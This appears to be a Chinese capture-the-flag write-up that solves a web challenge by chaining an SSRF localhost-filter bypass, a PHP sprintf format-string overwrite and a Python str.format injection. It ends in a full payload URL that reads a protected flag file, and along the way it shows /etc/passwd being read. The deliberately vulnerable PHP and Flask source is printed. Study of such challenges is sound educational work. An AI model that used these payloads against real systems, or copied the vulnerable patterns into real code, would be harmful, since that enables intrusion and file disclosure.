某道艰难构造的ssrf触发ssti的ctf题目

  • A+

平台地址:内部地址不便放出
这是哈工大热身赛的一题 ~~这完全不热身~~

考点

  • sprintf函数漏洞
  • 变量覆盖
  • SSRF读文件
  • linux基本知识
  • ssti
  • Python字符串格式化漏洞

解题

打开靶机给了源码
``` php
<?php
$start = "The content is ";

extract($_GET);
if(isset($url)) {
$u = parse_url($url);
var_dump($u);
if(!in_array($u['scheme'], array('http', 'https'))) {
die('对不起,您使用的协议暂时不支持');
}
if(preg_match('/127|host/', $u['host'])) {
die('对不起,我不喜欢数字');
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
echo sprintf("$start%dn", $result);
curl_close($ch);
} else {
highlight_file(FILE);
}
``
简单的审计后发现,明显是一个
SSRF读取文件的代码,过滤比较严格,只允许使用httphttps,且IP中不允许含有127host,否则返回错误
但是我们既然需要通过
SSRF读内网文件,就必须包含·127.0.0.1·或者·localhost·,我们如何绕过呢
测试后我们可以发现
crul可以解析16进制或者8进制地址所以我们这里将127.0.0.1构造成http://0177.0.0.1/http://2130706433/均可以解析成127.0.0.1之后进行端口扫描,发现5000端口开放
构造完成后,我们发现
echo sprintf(“$start%dn”, $result);该语句的输出限定为%d。即数字,而变量$start%d连接在一起,我们就可以用sprintf函数漏洞注释掉%d并设置成%s`

传入start=%1$’%s’%251$s均可以完成变量覆盖。现在我们的payload是:?start=%251$s&url=http://0177.0.0.1:5000

回显

QQ截图20200415134059.jpg
我们传入/query?path=即可获得相应文件信息,尝试读一下etc/passwd后发现给了回显,那这里就应该是读文件的地方了

QQ截图20200415134246.jpg
发现根目录下的fl4g,尝试读取后提示 nonono,it is a secret!!!0看来是不能直接读取的
读一下源码

readfile.py

python
class FileReader:
def __init__(self, file):
self.file = file
def __str__(self):
if 'fl4g' in self.file.path:
return 'nonono,it is a secret!!!'
else:
output = 'The file you read is:n'
filepath = (self.file.dir + '/{file.name}').format(file=self.file)
output += filepath
output += 'nnThe content is:n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can't read'
output += content
output += 'nnOther files under the same folder:n'
output += 'n'.join(self.file.listDir())
return output.replace('n','')

file.py

``` python
import os
import os.path

class File:
"The file class"
def init(self, path):
self.path = path
self.name = os.path.basename(self.path)
self.dir = os.path.dirname(self.path)
def listDir(self):
return os.listdir(os.path.dirname(self.dir))
```

main.py

``` python
from flask import Flask, request
from file import File
from readfile import FileReader

app = Flask(name)

@app.route('/query')
def query():
path = request.args.get('path')
if not path:
return '请输入路径'
file = FileReader(File(path))
return str(file)

@app.route('/')
def index():
return 'Use /query?path= to query what you want. And what you want is at /fl4g/flag'

if name == 'main':
app.run(port=8890)
```

源码审计

QQ截图20200415134744.jpg
filereader类中file=self.file由于self.file是一个Filereader类,所以file.name.file也就等于Filereader.file

python字符串格式化漏洞,
如果我们传入的整体路径为/fl4{file.name[3]}/flag由于file.name.fileself.file.file=flag相似,所以这里的{file.name[3]}=='g'可以成功绕过,最终读取文件

最终payload:?start=%251$s&url=http://0177.0.0.1:5000/query?path=/fl4{file.name[3]}/flag

原理

为什么这里传入/fl4{file.name[3]}/flag最后会变成fl4g/flag

guoke师傅讨论了一下(guoke师傅ttttttql)

本题中,传入的path变量会调用file类

QQ截图20200415143935.jpg
跟一下File类

QQ截图20200415144000.jpg
可以发现把path变量赋值给了各个属性,本题中读取
filepath = (self.file.dir +'/{file.name}').format(file=self.file)

使用的是self.dir类,我们把path变量传给self.dir会发生什么?

QQ截图20200415144140.jpg
可以发现这里输出的dir变成了/fl4{file.name[3]},而flag则自动成为了flle.name

而这个变量会赋值给filereader类中
filepath = (self.file.dir +'/{file.name}').format(file=self.file)的self.file.dir

变量拼接以后就成了/'fl4{file.name[3]}'+'/{file.name}'.format(file=self.file)
之前file.name已经被赋值为flag。则我们再次执行后name[3]会自动截取file.name的第四位赋值,变量成为了fl4g/flag,即flag路径

这里可以比喻成什么呢?

'{}{}'.format(1)

我们来本地测试一下

QQ截图20200415145633.jpg
可以看到变量被成功拼接上了
也就得到了payload

总结

这道题的知识点比较多,感觉总体难度较高,是一道不错的题目
希望给各位师傅一些帮助

参考链接

https://yanluow.github.io/2020/02/29/python%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%A0%94%E7%A9%B6/

相关推荐: SonicWall SSL-VPN 远程命令执行

漏洞简介 由于 SonicWall SSL-VPN 历史版本(Sonic SMA < 8.0.0.4) 使用了受 Shellshock 漏洞影响的 bash 版本以及 HTTP CGI 可执行程序,攻击者可构造其恶意 HTTP 请求头,造成远程任意命令执…